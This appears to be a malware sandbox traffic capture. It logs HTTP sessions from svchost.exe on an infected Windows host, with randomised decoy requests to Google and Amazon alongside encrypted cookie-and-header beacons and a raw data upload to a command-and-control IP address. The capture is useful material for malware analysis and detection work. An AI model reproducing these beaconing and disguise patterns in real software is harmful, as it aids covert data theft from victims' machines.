AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:53:47 UTC	907	OUT	Data Raw: 4b 83 72 e0 a9 ec 4c c6 5f aa 52 74 6b 85 2a 44 86 49 ed 8e 0d 0e 6b ee 1b 64 ee 0c d5 91 7f 67 1a 28 da cd e8 35 b6 6f ee 43 3d cb 91 f2 a9 8b 38 8c 97 56 46 53 5d 32 1b 47 ed cb 31 06 35 11 b4 e6 ec 57 74 9f 8c 4f ec 5f e1 06 99 65 be 51 1a 98 f9 47 65 df bb 1c fd 03 dc 70 50 b2 cc 4b 17 14 35 83 0b e6 3c ec 99 03 94 64 89 b1 b4 2c af 10 b0 7a 32 4e 1d 5f 36 66 1a c4 ae 1d e5 74 fb 92 89 38 7a a3 42 61 3f 7e 5e 59 4f 48 24 7e 63 22 b8 3e 7c fd ee bd 03 b7 ef 36 89 ba fa e0 04 cd b5 d2 e5 ed b3 f7 d2 7a 1d 80 1f c2 4d 29 75 5f 8e b6 3f 1e 81 99 ee 7b 3a 61 01 02 60 c6 04 48 f6 d3 af 64 4e a7 3b 62 2e 7e b0 93 11 85 01 58 6c 1d 6d 93 90 af 3e 5f 88 c0 bb 0b 80 cd 60 16 dc 45 4a 7c b5 34 74 75 9b b8 3c 84 7c 62 13 40 56 28 20 de dc db 95 6d 06 34 4f 20 3d Data Ascii: KrL_Rtk*DIkdg(5oC=8VFS]2G15WtO_eQGepPK5<d,z2N_6ft8zBa?~^YOH$~c">\|6zM)u_?{:a`HdN;b.~Xlm>_`EJ\|4tu<\|b@V( m4O =
2021-09-28 07:53:49 UTC	915	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:53:49 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49896	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:47 UTC	907	OUT	GET /rbwHu5Shjkeuvkuf8oTaqc6z7g/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:53:47 UTC	907	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1588 Date: Tue, 28 Sep 2021 07:53:47 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:53:47 UTC	908	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:53:47 UTC	909	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49897	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:47 UTC	909	OUT	GET /q35c7hqpmH76D8s3y0rbOmGxkmSLscrwxe4lnpzfZOq4/zxpklqiMy9gu5kTZflx0zOfhtttY/d51bgoaqh1rkq6ojIl5/owifj96soqQcjwSae2os5dcptw3zsexp8WKpZ/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:48 UTC	910	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:48 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: XDFVNFATAPDE1RHW6A3K x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:48 UTC	910	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49899	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:48 UTC	911	OUT	GET /p4ieaqEqbwAstfnrvwzi8QHdf1ufk1usi/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:53:48 UTC	911	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1595 Date: Tue, 28 Sep 2021 07:53:48 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:53:48 UTC	912	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:53:48 UTC	913	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49900	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:49 UTC	913	OUT	GET /hqeraaws8gtpR8De3rkjw3Um1/xtsgc6szpiyk2gVpshgml5kqua2hY64o8nkbkqr/vggQ8rU88h7xmTPqPhqgWv586j7shgp2uc5hAx/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:49 UTC	913	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:49 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: Q0AEMPN4GADTNH3KDVG9 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:49 UTC	914	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49903	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:49 UTC	915	OUT	GET /feed/news/last HTTP/1.1 Cookie: HSID=UejNj2oWBwd9eCdngvTAqCW%2B7NhyiFmjp6ySLT%2BQaBh95kXoo961rEu1g1NutrGCIyYMP6b7CrE1B%2Fmw7PjkJlP%2BBK%2B6n%2BFTPp%2F9dIGxDDV6%2F0GVp%2BoJc5k3hXH9K7P6NzFreLoAA4kFr0mMDhN2xXuRgcsbs7xTzrmmNMdl1P0BUPU6S7Q0dFzaUdaQhDJlVTAtLuoivAdB2Js%2FAZWE6EOvDdmbjP6IutDQO%2FIoU7pB42uuA%2Bvq7h6uCw1uQ0XT1TU1lyKNhymDHsKu774eGzUJS9EkWPYiIRAGD9OQprLQ2UsLLTC1rcQnkRyijbtt1LlHenUHNvhFdiSO%2F1nQhw%3D%3D;SIDCC=vK3%2BU7dVREUxjpZL%2BsMYj%2FDVr4qvjS%2Bwql55fCPaHNnc%2BI3ZQliQnMb9PgisWIF9g%2FuiTlYlxFL4aybjWVMKOyTeCNGj7IzyMea%2BFCfchd4O%2BhTuMeqrT%2B%2F39uBaW4UcbGdS%2FiSfHlH8w1zBUmRmNAvXy%2FFmG9MOZwfbPTjHnnJlE2CLWiiLgJ9qAgJsEx6sLymztnJtj6EdULjMSjFwMbX3%2BdsYEvKRbv9TW1kuWIvwgokLTwjvpJZ%2BnR4xzucNJ%2Bkc%2FEI8%2FuABpcfCgOTlbOyAQSyHkeIQPnCvQsWuH%2BGHmFYRSzkiBkwOM%2BdYoJLula5KiQvzFUqtlicrzdHdSQ%3D%3D;SID=xRnYWhmIVoGWBIakfuTQ4z69r2bqDhcBGYeAsubZ%2FMJEk6gl2B4SITgzB8OZAhcfRXJ0u8zxL0w3GEO4Hu%2B2L4jgBZeTaEmvMy3WD7czDFxC5PWVYzeOJdMMIcna%2FC1xiTy8LdpoC7WLrBMy9CUxdNopUiK5B0VEG0MNlESpvPXAgSJoGweavalvboVHD529L2fymtMcPCHXDZZXSf8DRE3J7h7kZfN8KNZRsiieJrGsqo4MogOsrBFvcqheLB95OR02UmUmMJ70E3gdHLGjQciCzF6bodMRkEq1FgIXp4b6ZGQfd0ks33zIO73GMveNQ2gV1k%2B98FOLJ9JeeZAUbQ%3D%3D;SSID=20nIc7Hzbm44C4Svtx6NZbgFQgTQ2gxxyOfBaMOd%2BKhzWHZqVHsn%2B0geI8m9RS3RJV0VEjYFWEOevBvKZ4gfa9vzmvAryzTSSFVwfR%2Beo2Nftkek%2FZacRiLkPtuuT2B3NyfZYX%2Ff%2FrpNuwdK9e7F1vHCM4EvRbEj6hgy54RW6DK%2Bi5A96TIGxAGZ%2FbKrET71ehwWryc56lwMmO%2F8KhknASPCXa5%2F7pku68tEix7xz9alYD5I%2FeiVm7bOq0tlxhZHRBOltDeONIEeaATsUW%2FgSkJrnygf9jV5%2FqjmIAxkwrL5SPOisdn6p25h13B7S4omZFO9FW9NlCeCLkeCI3ZMUQ%3D%3D; X-Tag: RJydfIFdYVynw24N44wk4pscAgjnT8UAxq72VGjSZ%2FMnltFXaZaFpHuVkJmWQeTu4k6YUB9kCcvW8%2BPezfyJD9RU8R2c7KCjmk%2BbOU8E467Jmj1eWXpEglU0SOHhQf26GhELVbG90T8W0Np1j60SvkN2AuazG9ki%2BOaHYeRtNLj0SVJVPXX9tv%2BALdG%2FQb%2BAE7iIADFuoUDfQq%2FByrYCYREP2KRTq0%2FTDZguCUItyAmCWEire00JQv71NsHWcPB8f2KvmuXrddfd3M3TQ%2B%2BD6%2B4j%2B5Tstl5tkrlr7g6h%2B8J4J7kV9jxNmcBDiO3FQMsTIX6rHm1D%2FX9aybuY611k2Q%3D%3D X-Csrf-Token: H1Ctz9sv28SOZwNtc0oMBVpVcL2zo%2BR%2FLpsP3Ni5qOrDWBWXrEnQkKatMXSd%2FT5APelO3haIK7XNIw%2FlMHnSNBQudzPp1Ph1dGWj5k8o3vefpeFpqWHE73DAxHdfzas%2BaOF5EzFuNtxMRiLsVCK257dQML%2BDB1lTgCxI%2BAzu3pZucbZwlH3G3j3ZQijob8VGcPz7b0RI98qYsAHdK8Cu0s9I9Th49kFu%2FwiUjFKXrIgVOIeKYekAeIqHZ4uo7W%2FWUJB8m25HwpARwL%2BlqqMGGGcInzQotIV%2BE8LOZ2nzAnFpyBM0SO2zQUCXegkU9ieRa3VZVDl6LT42IwgYZr7tOQ%3D%3D X-Request-ID: 2JFuTuSU7%2B3VAuhDFixTZIXK%2FkdAm5HQsLDv8iXI%2FO5h4l5UlRlB978sJDDX%2B48ZKqNBzx4hwQ8jL5lc0jx37MMhil%2FAIV4hBspCbIPCG8Th6pm6c2LiukHi1jdOBT7MPi98QYoZWo18tFc0dh6z2Nj9hYXfsP8OHRFRKL41jN2n7cIP5bKZrDocFd5TsdpwCuSz3gzHNDDNHrQ2mXWJjDKtAtOxq6U%2BNH1iKdN4u6MC66hVk68ZlZGDKiHK%2F6Pv5BLLziVAjVwdNpphyiWPYPBsNJ1NW8UUczHQSRN7zR60EDCVKwQagbuzMkWVzpRKeN63U%2FrmMOzFC1oHNL784w%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127
2021-09-28 07:53:52 UTC	927	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Content-Length: 2 Connection: close Date: Tue, 28 Sep 2021 07:53:52 GMT Set-Cookie: SVALUE=NTbHNCsHXBWYP1QBefDqaoPnrw1eMcAp4n200CkZvGhSSGTfT2Kf1XMRjWNDuLx8rNNUo1ZgFAjXSo4hGBcY07bgYufGSz1lX3FP06Dp6i3N7PBOSDIGGvxCvxf2i6uih1mDdU5pNIUDv5I2q6Cqcfqy96vHnINkUGpkmrzh8xBvOoHce3oBGnOViPEXt8I9Gz04OvVKcrTrPmlLAkzA0bu7ehVetmCDDXOgovlOkrssDEKsp0iyuyvl43VXcbIk Set-Cookie: ndata=IZUdFJdLy70sabyLke12Y5nmM6UIfr5gCj7xkQG49Vm5 Set-Cookie: query4=ffDXQrOGg4hv8omWps3UqXlxUO6v04usq4qxo8CSZ7vOsA2E6sft5AbdMsrc4fDdnw7grBrGp6cCeTe5cBvDWBH2QiW4Hui8sIOdLj531BC22ze5hTaDdtoGxgL9jIxCs2UpJ0V4phbLs3EVqlLPwnEN498WV6sqD8IuoJH7q6Ec8wtsJYAVkskPRFfnxB6Di9lZE2yJyUKN37MCsQc9ggUpKcXsxYCtpdVzIsBftOJMr85u8GqLfxyxZqP5FK88 Set-Cookie: bdata=1Ynb1Rt4ZVquwZC43Kt2aTIg4XVHBD0BjP47w Set-Cookie: pSID=e9HJ5S76ak6ZNOhg Set-Cookie: actual=5tftUB9mGQh7TFwBSF7lqgDGa7hRjCcvwkJvVscW7imuyEL4MisrQ5RaIK0mlGObBJtxgayBQBosiAF3TUK7aorsYKY%2FUXWWWekH%2BwLPIOj1QwX%2FLeEh0f0HDbXpnMVIguKJvYlPimx0D2Aznu9BysGwl5GrOjB9ktCSJPMQ6345TAaj2XHB5KslGlaO0cD88nZt9eLnwLS7E3VjreGdrSoE0IUlaFg%2FK2dzZRvGLC4Wr6kkb%2Fq4S%2Fs1td7%2B3Kjty%2F7V9QCrPltpd0eKLzpzz%2BC4ZH2N6KD7qNgzUH4l%2BR4UtXcA0bCV6SGJM0Qe06YuwmUpyxqnm6m5t6AeVyN38Q%3D%3D X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:53:52 UTC	928	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49796	104.26.2.70	443	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:52:42 UTC	12	OUT	GET /px.gif?ch=1&e=0.071014012951503 HTTP/1.1 Accept: image/png, image/svg+xml, image/jxr, image/;q=0.8, /*;q=0.5 Referer: https://www.msn.com/de-ch/?ocid=iehp Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: ad-delivery.net Connection: Keep-Alive
2021-09-28 07:52:42 UTC	12	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 07:52:42 GMT Content-Type: image/gif Content-Length: 43 Connection: close X-GUploader-UploadID: ABg5-UzSZ-Kt1WbGdd88HlCnZf7YcJGLu-DR5tPwPS9bXoxAsvJYwt4jGn6LAHoZbG34sctt0vecv7iFCJZExLBCcbRvF7nEjw Expires: Tue, 28 Sep 2021 07:59:12 GMT Last-Modified: Wed, 05 May 2021 19:25:32 GMT ETag: "ad4b0f606e0f8465bc4c4c170b37e1a3" x-goog-generation: 1620242732037093 x-goog-metageneration: 5 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 43 x-goog-hash: crc32c=cpEfJQ== x-goog-hash: md5=rUsPYG4PhGW8TEwXCzfhow== x-goog-storage-class: MULTI_REGIONAL Access-Control-Allow-Origin: * Access-Control-Expose-Headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace Age: 2243 Cache-Control: public, max-age=86400 CF-Cache-Status: HIT Accept-Ranges: bytes Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Rq%2F8woRiWbQpT0CILnMhUrN6ofsqKEd91ovKU1gqH6Axubl%2FQI70DsMS02O%2Bphcsugd1IkeWmysWCwLPTlVAWa5zyrlh%2Brh3MdvNGp6RjsjfXdwoLP%2FA4QbwfTNdKzJdbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 695b64d0a9415c2c-FRA
2021-09-28 07:52:42 UTC	14	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 Data Ascii: GIF89a!
2021-09-28 07:52:42 UTC	14	IN	Data Raw: 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: ,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49904	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:49 UTC	918	OUT	GET /cJi7l2WpuslUuvebbed6plxm5tJ3xFI1qmy057/7olYdv5idu2fwz6Raz2Hvv/hdReuPwq6CvywwkkicnRW4lztwnhjXz5ro4yl1qhtzdl/bIphet38vbf77s4it16v6mCFkgvh1w8Mdho/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:53:49 UTC	918	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1704 Date: Tue, 28 Sep 2021 07:53:49 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:53:49 UTC	919	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:53:49 UTC	920	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 